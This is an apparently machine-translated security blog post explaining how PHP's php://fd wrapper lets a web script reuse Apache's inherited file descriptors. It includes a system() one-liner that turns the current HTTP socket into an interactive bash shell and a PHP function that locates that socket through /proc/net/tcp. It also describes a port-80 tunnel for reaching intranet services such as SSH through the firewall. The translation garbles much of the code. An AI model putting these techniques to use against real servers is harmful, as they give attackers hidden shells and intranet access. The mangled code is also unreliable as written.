If someone remembers the article "hazards caused by Linux system file descriptor inheritance" I posted on 80sec in the year, I should remember that this issue was fixed by the official apache FD_CLOSEXEC: because all the enabled FD is automatically disabled when the system's underlying exec processes are running, there is no way to use php functions such as system, in the subprocess such as bash, continue to operate on the previously enabled high-Permission file descriptor.
However, PHP 5.3.6 has recently introduced a new feature in the form of fopen ("php: // fd/fd_number", "w, you can directly open and operate the file descriptor of the current process. It is basically equivalent to a fdopen function call.
In combination with these two points, because a php running method exists in the apahe process in apache mod mode, for php, its own process is the apache process, all file descriptors opened by apache under root can be operated. As a result, after the successful fixing of the vulnerabilities, the new PHP features have been revived.
So how can we exploit this vulnerability? In the previous article, I once provided an example, that is, directly reusing the socket currently connected to port 80 to generate an interactive shell. At that time, I did not provide the implementation of automated search for the current port 80 socket, but in fact, when I wrote an article, I personally provided a method to use shell tools to automate the search for the current socket connection:
System ("ip = 'netstat-ane | grep $ {_ SERVER ['remote _ ADDR ']} | grep ESTABLISHED | awk' {print \ $8 }''; socket = 'LS-alh/proc/self/fd | grep \ $ ip | awk '{print \ $9} ''; python-C' import pty; pty. spawn (\ "/bin/bash \") '1> & \ $ socket 0> & \ $ socket 2> & \ $ socket ");PseudoPHPShell
Code: Compare the output of netstat-ane (e parameter is used to output socket number) and/proc/self/fd (file descriptor information of the current process, find the matching socket number, that is, the current connected socket, and then immediately reuse it. Is it easy?
However, the example at that time cannot be used after the apache patch, because he used the sub-process to redirect the input and output to achieve port multiplexing. However, since subprocesses cannot be used for these tasks, all the difficulties are focused on how to automatically find the socket of the current connection.
Take a closer look at the principles of the above Code, but use netstat to compare the output of socket information in the current system. In this case, I only need to manually implement the netstat function. How is netstat implemented?
In fact, netstat itself monitors the current network status by reading the/proc/net/tcp (6) file in the system. We only need to parse the file (mainly to merge ipv4 and ipv6 content, and then convert the content from hexadecimal to the ip address and port in the string format) based on the image gourd, and then compare it, you only need to find that the REMOTE ip address and PORT of this socket match the $ _ SERVER ['remote _ ADDR '] and $ _ SERVER ['remote _ port'] in php. The specific implementation is as follows:
<! --
Code highlighting produced by Actipro CodeHighlighter (freeware)
Http://www.CodeHighlighter.com/
--> Function find_socket (){
// Get tcp connection status from/proc
$ Net = file_get_contents ("/proc/net/tcp ");
$ Net. = file_get_contents ("/proc/net/tcp6 ");
// Find fd from/proc
$ Dir = dir ("/proc/self/fd ");
While (false! ==( $ E = $ dir-> read ())){
// Find socket inode in/proc/self/fd.
If (is_link ("/proc/self/fd/". $ e) & $ e! = "." & $ E! = ".."){
If (preg_match ("/socket: \ [(\ d +) \]/", @ readlink ("/proc/self/fd /". $ e), $ m1 )){
// Match every socket inode in/proc/net/tcp &/proc/net/tcp6.
// If it matchs this connection remote ip/remote port, bingo! We got it!
If (preg_match ("/. * ${m1 [1]}/", $ net, $ m2 )){
Preg_match_all ("/(\ w {8}) :( \ w {4})/", $ m2 [0], $ m3 );
// Decode ips
$ Sipstring = $ m3 [1] [0] [6]. $ m3 [1] [0] [7]. $ m3 [1] [0] [4]. $ m3 [1] [0] [5]. $ m3 [1] [0] [2]. $ m3 [1] [0] [3]. $ m3 [1] [0] [0]. $ m3 [1] [0] [1];
Sscanf ($ sipstring, "% x", $ siplong );
$ Ripstring = $ m3 [1] [1] [6]. $ m3 [1] [1] [7]. $ m3 [1] [1] [4]. $ m3 [1] [1] [5]. $ m3 [1] [1] [2]. $ m3 [1] [1] [3]. $ m3 [1] [1] [0]. $ m3 [1] [1] [1];
Sscanf ($ ripstring, "% x", $ riplong );
$ Sip = long2ip ($ siplong );
$ Rip = long2ip ($ riplong );
// Decode ports
Sscanf ($ m3 [2] [0], "% x", $ sport );
Sscanf ($ m3 [2] [1], "% x", $ rport );
If ($ rip === _ SERVER ['remote _ ADDR '] & $ rport ==$ _ SERVER ['remote _ port']) {
$ Dir-> close ();
Return $ e; // That is our socket fd.
}
}
}
}
}
$ Dir-> close ();
Return false;
}
OK. Once FD is found, bash is generated. You cannot use system as usual here. You have to change proc_open (Why Do You Want ). The specific code will not be written. Direct effect:
With a simple GET, you can directly obtain the Interactive shell and penetrate the firewall ~
In the previous article, we also mentioned that this method can be used for Intranet port forwarding so that port 80 can travel through the Intranet. However, the implementation was not provided at the time, and it was actually very simple. You only need to replace bash with nc. However, you need to add a Server Load balancer client to listen to the local port, connect the local program to the port, and add a GET request before sending the data, and then forward it directly. I will also give the following results:
First, execute the slave program locally. I am writing a python script, pr. py.
<! --
Code highlighting produced by Actipro CodeHighlighter (freeware)
Http://www.CodeHighlighter.com/
-> Python pr. py http://www.target.com/t.php 127.0.0.1: 22
The first parameter is our script address, and the second parameter is the target address to be forwarded. I am using port 22 of target, which can actually be any Intranet address. After execution, pr. py listens to port 1234 locally on my machine and waits for other programs to connect. All data sent to 1234 of the local machine will be forwarded to port 22 of target.
In the network connection, we can clearly see that our nc program is faithfully performing this forwarding operation, and our ssh connection is also normal.
Stable and comfortable. One port 80 and one connection allow us to access the Intranet.